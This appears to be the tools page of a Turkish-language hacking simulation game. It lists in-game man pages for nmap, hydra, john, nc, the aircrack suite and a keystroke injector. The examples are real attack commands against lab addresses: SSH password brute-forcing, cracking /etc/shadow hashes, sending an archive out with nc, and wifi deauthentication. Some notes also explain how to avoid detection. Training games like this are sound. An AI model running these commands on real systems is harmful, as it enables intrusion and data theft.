Araçlar

Kabuğun tanıdığı 55 komut, ve oyunun içinden okuyabildiğin 18 kılavuz sayfası. Buradaki her bayrak gerçekten çalışır — kabul edilip yok sayılan bayrak bu projede hata sayılır ve testle engellenir.

Kılavuzu olanlar

Oyunun içinde man <araç> ile aynısını okuyabilirsin. Bir aracın kılavuzunu okumak işi yapmaz — hedefi tamamlamaz, sadece nasıl yapılacağını söyler.

nmap

NMAP(1)

NAME
     nmap - Network exploration tool and security scanner

SYNOPSIS
     nmap [Scan Type] [Options] {target specification}

OPTIONS
     -sV            Probe open ports to determine service/version info
     -p <ports>     Only scan specified ports (e.g. -p 22,80 or -p-)
     -T<0-5>        Set timing template (higher is faster, and louder)

EXAMPLES
     nmap 10.13.37.0/24
     nmap -sV 10.13.37.20

hydra

HYDRA(1)

NAME
     hydra - a very fast network logon cracker

SYNOPSIS
     hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [-t TASKS] service://server

OPTIONS
     -l LOGIN       Login with LOGIN name
     -L FILE        Load logins from FILE
     -P FILE        Try passwords from FILE
     -t TASKS       Run TASKS connects in parallel (default 16)
     -f             Exit after the first found login/password pair

EXAMPLES
     hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://10.13.37.20

NOTES
     Concurrency is the difference between a slow attack and a loud one.
     Every parallel task is another authentication line in auth.log.

curl

CURL(1)

NAME
     curl - transfer a URL

SYNOPSIS
     curl [options...] <url>

OPTIONS
     -I              Fetch headers only
     -d DATA         Send DATA as an HTTP POST body
     -o FILE         Write output to FILE instead of stdout

EXAMPLES
     curl http://10.13.37.20
     curl -d "user=x&pass=y" http://10.13.37.20/login.php

ssh

SSH(1)

NAME
     ssh - OpenSSH remote login client

SYNOPSIS
     ssh [-i identity_file] [user@]hostname

OPTIONS
     -i FILE         Identity (private key) file

EXAMPLES
     ssh [email protected]
     ssh -i ~/.ssh/id_rsa [email protected]

gobuster

GOBUSTER(1)

NAME
     gobuster - directory/file, DNS and vhost busting tool

SYNOPSIS
     gobuster dir -u URL -w WORDLIST [-x EXTENSIONS]

OPTIONS
     -u URL          The target URL
     -w FILE         Path to the wordlist
     -x EXT          File extension(s) to search for, e.g. php,txt,bak

EXAMPLES
     gobuster dir -u http://10.13.37.20 -w /usr/share/wordlists/dirb/common.txt

NOTES
     Every miss is a 404 in the access log. A directory sweep is the single
     most obvious thing you can do to a web server.

sudo

SUDO(8)

NAME
     sudo - execute a command as another user

SYNOPSIS
     sudo [-u user] command
     sudo -l

OPTIONS
     -l              List the commands allowed for the invoking user
     -u USER         Run the command as USER (default root)

EXAMPLES
     sudo -l
     sudo /usr/bin/find /var/log -name "*.log"

find

FIND(1)

NAME
     find - search for files in a directory hierarchy

SYNOPSIS
     find [path...] [expression]

EXAMPLES
     find / -name "*.conf"
     find /home -type f

john

JOHN(1)

NAME
     john - John the Ripper password cracker

SYNOPSIS
     john [OPTIONS] [PASSWORD-FILES]

OPTIONS
     --wordlist=FILE  Use a wordlist
     --show           Show cracked passwords

EXAMPLES
     unshadow /etc/passwd /etc/shadow > hashes.txt
     john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
     john --show hashes.txt

nc

NC(1)

NAME
     nc - arbitrary TCP and UDP connections and listens

SYNOPSIS
     nc [-l] [-p port] [hostname] [port]

OPTIONS
     -l              Listen for an incoming connection
     -p PORT         Local port number
     -w SECS         Timeout for connects and final net reads

EXAMPLES
     nc -l -p 4444
     nc 10.13.37.5 4444 < /tmp/data.tar.gz

crontab

CRONTAB(1)

NAME
     crontab - maintain crontab files for individual users

SYNOPSIS
     crontab [-u user] [-l | -r | -e]

OPTIONS
     -l              List the current crontab
     -e              Edit the current crontab
     -r              Remove the current crontab

scp

SCP(1)

NAME
     scp - OpenSSH secure file copy

SYNOPSIS
     scp [-i identity_file] source target

EXAMPLES
     scp [email protected]:/tmp/data.tar.gz .
     scp -i ~/.ssh/id_rsa file [email protected]:/tmp/

ssh-keygen

SSH-KEYGEN(1)

NAME
     ssh-keygen - authentication key generation

SYNOPSIS
     ssh-keygen [-t type] [-f output_keyfile] [-N passphrase]

EXAMPLES
     ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""

tar

TAR(1)

NAME
     tar - an archiving utility

SYNOPSIS
     tar [-cztvf archive] [file...]

OPTIONS
     -c  create   -t  list   -z  gzip   -f  archive file   -v  verbose

EXAMPLES
     tar -czf /tmp/data.tar.gz /var/backups
     tar -tzf /tmp/data.tar.gz        what is in it

airodump-ng

AIRODUMP-NG(8)

NAME
     airodump-ng - 802.11 frame capture

SYNOPSIS
     airodump-ng [-c channel] [--bssid ap] [-w prefix] <interface>

OPTIONS
     -c       lock to one channel   --bssid  one network only
     -w       write captures to <prefix>-01.cap

NOTES
     Listening transmits nothing. Nobody can tell you did it.
     A handshake is only written down if a capture was ALREADY
     running when it happened.

EXAMPLES
     airodump-ng wlan0
     airodump-ng -c <ch> --bssid <ap> -w capture wlan0

aireplay-ng

AIREPLAY-NG(8)

NAME
     aireplay-ng - inject 802.11 frames

SYNOPSIS
     aireplay-ng --deauth <count> -a <bssid> [-c <client>] <interface>

OPTIONS
     --deauth n   send n deauthentication bursts
     -a           the access point   -c  one client, instead of everyone

NOTES
     This is the only step of a wireless attack that transmits.
     A wireless IDS sees exactly this and nothing else you did.

EXAMPLES
     aireplay-ng --deauth 5 -a <ap> -c <client> wlan0

aircrack-ng

AIRCRACK-NG(8)

NAME
     aircrack-ng - WPA/WPA2 passphrase recovery

SYNOPSIS
     aircrack-ng -w <wordlist> <capture.cap>

NOTES
     Runs entirely on your own machine. The network never learns
     of it, and no rate limit applies — this is where a faster box
     changes the answer.

EXAMPLES
     aircrack-ng -w <wordlist> capture-01.cap

ducky

DUCKY(1)

NAME
     ducky - keystroke injector

SYNOPSIS
     ducky -k <public_key> -t <host>

NOTES
     The device is a keyboard. The machine cannot tell it from the
     one on the desk, which is why a locked screen is the only
     thing standing in the way and an unlocked session is not.
     What it types is what you would have typed.

EXAMPLES
     ducky -k ~/.ssh/id_ed25519.pub -t <host>

iwconfig

IWCONFIG(8)

NAME
     iwconfig - configure a wireless interface

SYNOPSIS
     iwconfig [interface]

NOTES
     The kit ships its adapter already in monitor mode. Managed
     mode joins networks; monitor mode listens to all of them.

Kılavuzu olmayanlar

Standart kabuk komutları. help hepsini listeler.

aircrack  aireplay  airmon  airmon-ng  airodump  base64  cat  cd  chmod  echo  env  exit  grep  hashcat  head  help  id  ifconfig  ls  man  n  netstat  ping  ps  pwd  return  rm  sha256sum  su  submit  tail  uid  unshadow  wc  wget  which  whoami